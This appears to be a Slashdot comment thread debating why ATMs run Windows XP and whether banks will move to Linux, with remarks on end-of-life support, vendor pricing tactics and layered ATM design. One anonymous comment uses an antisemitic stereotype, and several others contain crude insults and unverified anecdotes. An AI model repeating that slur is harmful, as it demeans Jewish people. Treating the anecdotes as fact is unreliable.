How many years do they want? If they cannot manage with nine years notice, realistically how will a few extra years help?

Secondly, what makes them think that if they installed Linux that they wouldn't need to do any further upgrades?

Re:Excuses?

[Anonymous Coward]

I talked with an IBM mainframe support guy (a long time ago). In the town where we were talking, he told that 80% of the customers were still running a version of the OS and hardware that had been EOL'd ten years earlier. If it ain't broke, why spend money on hardware, OS, and most of all, rewriting what you have, and disrupt business operations to work with the new stuff? It's a huge risk to the company. This was all before widespread networkikng so security wasn't as big a deal.

Re:Excuses?

[fisted]

Regarding your last point, take a little protip: RTFA, or at least TFS.

Re:For the ones arguing that M$ gave 10 Years Noti

[flightmaker]

I can remember the first of the small, low power netbook type computers coming on to the market - the EeePC type machines? And they all ran Linux because they couldn't run Vista.

So, if MS had terminated XP at that time they would have put themselves out of that market. Of course they were not prepared to do that at any cost, because it would have put Linux directly in the hands of consumers, so they extended XP and unfortunately Linux disappeared from all the netbook computers.

So, we have Linux to thank for the long support for XP, not charity on the part of MS.

Orgs make public win32 to linux transition noises

[Second_Derivative]

...in order to extract more favourable terms during licensing negotiations with Microsoft, nothing more.

Nothing to see here.

Re:For the ones arguing that M$ gave 10 Years Noti

[Missing.Matter]

What industry standards exactly? If these ATM companies went with any other vendor, they would have already had to upgrade their OS years ago due to EOL.

Well, duh

[Anonymous Coward]

It makes more sense to go with something modular like linux or even bsd rather than a full blown desktop like windows 7/8. Plus, no license cost. I think a lot of corporations need to get off the MS product bandwagon and go with something that can be tailored to their need.

I run windows 7/8 for .net development, netflix, little bit of office 2013, gaming(cod4). Well, if netflix(on linux hack slow with problems) and windows type gaming(wine not that great) were available on linux I would make linux my primary OS and just do the .net development in virtualbox.

Re:Well, duh

[fisted]

It makes more sense to go with [???] BSD or even Linux rather than a full [...]

FTFY

Re:For the ones arguing that M$ gave 10 Years Noti

[Missing.Matter]

Wouldn't we have Microsoft's own incompetence with Windows Vista to thank for that?

Whole armies of Microsoft Sales Droids lining up

[Areyoukiddingme]

This is just a bid to get bargain basement pricing on the next Microsoft OS. Threaten to move to Linux and the Microsoft Sales Droids will cut the licensing fee for whatever Windows you want down to an almost reasonable price.

Though without Ballmer, that's not the slam dunk prediction it used to be...

e-voting

[Anonymous Coward]

This is the perfect example of why gratis doesn't mean so much. The really important thing here is that the user or even the "integrator" can have complete control of the system. They don't have to worry about ANYONE else interfering with the degree of control they want and the features that they want to be active.

The people building the ATM are in total control. For a device like an ATM, that's really how it should be.

Too bad e-voting machines aren't built to the same standard of reliability and auditiability.

Re:For the ones arguing that M$ gave 10 Years Noti

[flightmaker]

Wouldn't we have Microsoft's own incompetence with Windows Vista to thank for that?

No, just Microsoft's determination to exclude others from the computer market.

The other thing I just remembered, was that XP was already being shut down at the time. Retail copies were no longer available. The only way you could still buy XP was to have it pre-installed on a tiny portable that was incapable of running any other MS product.

Re:For the ones arguing that M$ gave 10 Years Noti

[j35ter]

Yes, and the vendor would have made sure that their platform is backwards compatible. With Industry, I don't limit myself just to IT!

Clearly weekend fodder of an article

[Anonymous Coward]

Really Linux, PCI compliant and adhering to all latest security and international IEEE standards? If you write an article about banking software at least get the requirements straight! No follow up for embedded Windows? Its not about maintenance, its about international compliancy. And then stating that there is no follow up on a lightweight OS from MS that is API compatible? Where have you been the last years? W8.1 runs on lightweight processors ARM and Intel based for a price tag lesser than the iPad which plenty of stores use these days for POS. Jeez, even I can put more sense in an article like this.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Really...

[Anonymous Coward]

Because 10+ years of continued support is just to god damn short of time to sync your release schedules.

SHOULD HAVE HAPPENED 10 YEARS AGO!!

[Jizzbug]

My bank recently upgraded ATMs... It is obviously running a newer version of Windows, and the UI is the slower piece of crap I've ever encountered.

time to market is a driver

[Anonymous Coward]

You're an ATM designer in 1991, you need to choose an OS, you have people who know how to code in Basic PDS for Win 3.1 and Win/ME in the house. Hmm, what choice do you make? Yep, Windows: you at least know it will run on IBM PC clone hardware that you buy from anywhere. Linux? maybe, maybe not.
Maybe you run NT 3.0 or, eventually, 4.0

10 years later, you upgrade to XP. Same tools work, same software developers, etc. It's not that big a deal, you've got the whole registry thing figured out.

Maybe it's 2002, and you're thinking about going to Linux.. it's nowhere near plug and play, particularly if you need any peripherals other than mouse, keyboard and monitor. USB? sometimes it works, sometimes it doesn't. Audio? ALSA? OSS? good luck.
At least XP is stable and it works with "any PC". remember, you don't have people on staff who think "rebuild the kernel" is an afternoon's amusement. You're not interested in Debian vs Redhat vs Slackware vs Bob's Kustom Linux, nor are you interested in vi vs emacs, or gnome vs kde.

  You want something that your application code just works, and that's XP. Simple, familiar, done.

You've got a stable product installed in millions of units. Why change?
Actually why change now at all.. why not just run XP until the machine physically disappears? It's not like you're interested in running the latest whiz-bang version of Outlook, as you communicate over your 1200 bps modem link for transaction data.

Re:For the ones arguing that M$ gave 10 Years Noti

[gweihir]

Indeed. And "file structure, user management, security, etc." have variations in the UNIX ecosystem, but many, many similarities. On API-level you often do not even notice what UNIX or UNIX-like OS you are running on. The MS API stability level today is maybe where UNIX was 40 years ago, namely when they were experimenting around a lot. MS never stopped experimenting, because they are not engineering driven (i.e. want a good product), but revenue driven. And then messes like the Win8 disaster happen that make everything different. Completely unacceptable for devices than run for decades.

REDHAT ?

[redelm]

I thought exactly business like ATM fleets would be RedHat's target -- people who need robust Linux with support -- all negotiable.

Re:For the ones arguing that M$ gave 10 Years Noti

[gweihir]

MS is consumer-trash. The only reason any good OS vendor stops supporting an OS is when they go bankrupt, when nobody is using it anymore or when they have an adequate (i.e. no porting effort) replacement.

Brinksmanship

[ThatsNotPudding]

I seriously doubt this; it's all about getting better pricing from Microsoft, period.

Windows CE

[Anonymous Coward]

A lot of ATMs run Windows CE. I think all of Hyosungs product line does anyway.

Re:For the ones arguing that M$ gave 10 Years Noti

[petermgreen]

The only way you could still buy XP was to have it pre-installed on a tiny portable that was incapable of running any other MS product.

You could also buy machines that had a windows vista buisness (or ultimate if you wanted to throw money away) license but had XP pro installed under downgrade rights.

GEOS

[tekrat]

Come on GEOS , now's your chance to shine as a replacement for Windows!

Experience

[Anonymous Coward]

There is not much you gain from using XPE (or a similar offering) on an ATM.

You don't want to run a broad selection of software, you just need one (quite simple) application.

Using XP dramatically increases the attack surface (that why you need security updates (that you must test and distribute) every month).

XPE allows you to tailor your system and remove unneeded components, but development and maintenance of XPE systems is a nightmare, especially if you have not exactly the same hardware in every installation (which rarely happens in real world projects).I have done it (not with ATM but with POS systems)

So the only real benefit are the development tools (for your application) and the integrated Windows protocols (SMB etc). Most of these protocols work really well in attended LAN environments (that's where you normally test), but are ill suited for unattended WANs (where connection errors occur)

And your a 5 MB application now requires a 1 GB installation.

They using winelib?

[DdJ]

If these systems are still using XP today, my bet is that they only rely on a small, stable, well-established subset of what we consider today's Windows API. It really wouldn't surprise me at all if a whole bunch of the software involved built flawlessly with winelib.

Anyone know if that's how they're going about it?

Re:They using winelib?

[fisted]

Wow, that'd be even worse.

sudo

[Culture20]

#sudo gvmemny -t\$ -n1000000

Ummm.

[Anonymous Coward]

Most of the ATM's that I have seen still use OS/2 with less using Linux, and still even less using Windows.

ATM developer speaking

[Anonymous Coward]

I work for a medium-sized company developing ATM software (although this is just a very small part of the business). We use Windows (XP) simply because we have to use an abstractiong layer for the different vendors which is really only available for Windows. Why the vendors don't provide any additional version for Linux is up to speculation.
Anyway, the trend to commodity hard- and software is HUGE is industry. Previously I worked at a big company developing control systems for huge factories, coal mines, power plants (though not nuclear) etc. and they used Windows as well. I guess the price and ease of use (don't forget that EVERYBODY knows how to use Windows) is just too tempting.

Anyway, I find the discussion about the 'banks' developing some ATM software extremely funny. I don't know of a single bank - and I know quite a lot of them - which would go through the exercise of developing their own ATM driving software + testing + certification + ... instead of just buying one of the shelf.

Re:For the ones arguing that M$ gave 10 Years Noti

[Anonymous Coward]

IBM is more reliable, think $$.

Re:For the ones arguing that M$ gave 10 Years Noti

[Anonymous Coward]

That's because you're paying them to do that. If you have a contract with IBM or somebody else to provide the infrustructure, you're paying for them to keep it alive. At some point you're the only one left and you're paying the full cost of patching the software.

In this case, I don't see anything wrong being done by MS. XP was a decent OS, but the cost of securing and maintaining it has got to be higher than for newer versions of the OS.

Linux EOL is not so hot either

[Air-conditioned cowh]

For example, Redhat/CentOS is 10 years. However there is always the option to pay someone to roll-back updates into whatever version the ATM has, which is onet thing you can't do with a closed source OS. As far as security is concerned, I would have thought something like QNX would be a better choice than either Windows or Linux. Anyone know what EOL time QNX offer? I couldn't see just be glancing at their website.

Bullshit

[Anonymous Coward]

I'm not buying that anything made in 1984 (or earlier) couldn't be replaced with newer and better software/hardware.

Re:Bullshit

[Anonymous Coward]

i'm not buying that anyone gives a fuck what you think.

Re:Bullshit

[Anonymous Coward]

It can be but it is an expensive and risky proposition.

The old program has decades of bug fixes and institutional knowledge. That is expensive and difficult to replicate, much less make better.

OS/2

[Anonymous Coward]

The only ATM I ever saw actually reboot (it was kinda fun) was running OS/2.

Is Windows XP really that widely-deployed on ATMs? It seems like an awful waste of resources.

The Natural Consequence

[Anonymous Coward]

More Linux exploits.

Oh goody.

Windows?! I feel like I'm taking crazy pills!

[jschultz410]

Good God, I had no idea all our money was handled by Windows!

You'd think they would go for a security centric OS like OpenBSD or something even more exotic rather than Linux or *shudder* Windows. Yeesh.

Re:Windows?! I feel like I'm taking crazy pills!

[fisted]

Hate to break it to you, but we live in a time where most IT is run by idiots. Does not surprise me in the least that they use Windows.

BRB, gotta vomit

Haha

[Anonymous Coward]

Microsofts attempt to sale there latest and greatest backfires....hilarious, as well as just.

** Insert Snarkey Subject Here **

[Anonymous Coward]

AFAIK the very reason that RedHat exists as a company is to provide technical support for its enterprise Linux distro. I'm pretty sure that IBM and Oracle work a lot with Linux as well, though rumour suggests Oracle might not be a good choice of vendor. Canonical also sells enterprise support for Ubuntu if I am not mistaken.

Unsupported all time time, I think not.

Re:** Insert Snarkey Subject Here **

[Spiked_Three]

Great info. Just as a relevant experiment on topic, let us know what any of those would charge, for support of a linux the same age as XP. Oh, and let us know if they laugh when you ask.

There oughta be a law...

[Anonymous Coward]

I know, not a very popular subject line these days but bear with me. I think it is completely criminal that a critical function like handling people's money is done with software the bank does not own and control. The banks should be required to review and test every last line of code. Perhaps I missed where Microsoft handed out the source code to XP to all of the ATM manufacturers.

Because it's important but not THAT important.

[Anonymous Coward]

There's a maximum of 50,000 to 100,000 USD in an ATM depending on the bank and the average load is ~20,000 USD.. IF that goes missing.. we are not going to care from a OH-MY-GOD-MAMMON-A-WAD-OF-CASH-WENT-MISSING point of view, and our resident jews wont go OY!OY!OY! .. but we'll care from the general prevention perspective and the publicity angle. SO even if we do get 'ripped' off once in a while that woujdn't be the end of the world (and we'll take it anyhow from you whichever way we can). We're quiet happy if it only happens once in a while though and not every day, so that's why security on an ATM is somewhat rather important but not all thaaat important too at the same time.

because a guy said:

"but using XP for a device where security and reliability is paramount seems like a bad choice,"

Go Red Hat 9.0

[Anonymous Coward]

:-) It still runs on a vintage Sony VAIO RX470DS.

Yee Haa.

Remember

[sjames]

XP is an emoticon.

How I've been taught to do it

[ShooterNeo]

Finishing my computer engineering degree this semester. The way I've been taught how to implement a system like this is the following :

1. The outermost "user land" control panel should use an OS that is both lightweight, will work on a lot of hardware (so you can switch hardware if during the production of the ATM a vendor goes out of business), and offers a lot of graphical libraries for a pretty interface. Android sounds ideal for this.

2. The android display would communicate via network (probably TCP/IP) with a small server running an embedded flavor of Linux. This server would be stripped down to the minimum features and services, running on a tiny little ARM architecture chip. It would be the computer that actually talks to the bank via encrypted link and controls the cash dispensing process.

3. For the actual physical interlocks and running the motors to dispense the cash, you'd communicate via a serial bus with several small microcontrollers or PLL controllers. Each would be running a very simple program written in C (or ladder logic tree) to do their jobs, which would be to do the actual dispensing and monitoring all the various switches and so forth.

The point of this hierarchy (rather than using one computer to do everything directly) is to compartmentalize the design, allowing you to debug it more easily and also improving security. Someone compromises the outer control panel - they won't be able to dispense cash.

Re:How I've been taught to do it

[xombo]

Yes, but how will Diebold's Visual Basic programmers deal with this kludge of non-MS technology?

Re:How I've been taught to do it

[ShooterNeo]

You feel this solution is a kludge? How should it be done? The way I see it is it provides a nice neat system of separate, extremely reliable and simplified subsystems that are as independent of each other and as simple as they can possibly be.

User Interface layer - instead of running a huge, complex, and memory and power hungry windows OS, you are running a newer OS that is really a flavor of Linux with a bunch of fancy libraries for fancy graphics and multitouch and other features added on.

Communication and transaction layer - instead of running it on the same computer that does the UI (creating the possibility that someone can corrupt the much more complex UI layer and cause it to give them free money), you do all the transactions on a much simpler computer, running well documented (and fully sourced) code and nothing else.

Hardware control layer - instead of doing this on the same computer doing the above, you give each one a dedicated (but extremely tiny and simple) computer for each task.

Why the need for a heavyweight OS?

[Anonymous Coward]

Windows to run an ATM? That's nuts! An ATM has a simple menu and a money-dispensing robot. That's it. They'd be better off using a controller out of a washing machine.

can you say

[Anonymous Coward]

d'oh?

win3.1

[jaq1an]

I was amazed once to see win3.1 installed on my local ATM. Since been upgraded to XP. I noticed that Tesco's self service pos are all XP too, another opportunity for Linux to step in.

Re:For the ones arguing that M$ gave 10 Years Noti

[Anonymous Coward]

I can remember the first of the small, low power netbook type computers coming on to the market - the EeePC type machines? And they all ran Linux because they couldn't run Vista.

So, if MS had terminated XP at that time they would have put themselves out of that market. Of course they were not prepared to do that at any cost, because it would have put Linux directly in the hands of consumers, so they extended XP and unfortunately Linux disappeared from all the netbook computers.

So, we have Linux to thank for the long support for XP, not charity on the part of MS.

Sure, my EeePC may have come with Windows XP. That doesn't change the fact I removed it in less than 10 minutes and have been running Linux on it ever since. I'm posting from my EeePC right now, in fact. My hardware may be old, but it's still chugging along quite well without any problems, and I'm using a modern, secure, up-to-date distribution with kernel 3.13.6. If I had dug in my heels as a Windows user, I'd be forced to buy a new computer by now (which would be impossible for me at my income level) but I extended the life of this old and still very useful machine by using Linux.

It's no wonder banks are considering the switch to Linux. They see how foolishly expensive it would be to repeat this same mistake again, having their hardware support so closely tied in with their OS support. It's like being told to buy a new car just because your in-dash Bing GPS software isn't getting more map updates. I'd sooner find a way to put Linux in my car's dashboard than run to the dealership with my chequebook in hand like a scared, stupid consumer whore. I would bet my left nut that almost every ATM facing EOL has perfectly functional hardware, it's just the OS support that's making everyone shit their pants.

Gotta love big business though, eh? Don't deal with any problems unless they're happening RIGHT NOW, THIS FISCAL QUARTER, otherwise you're just wasting money.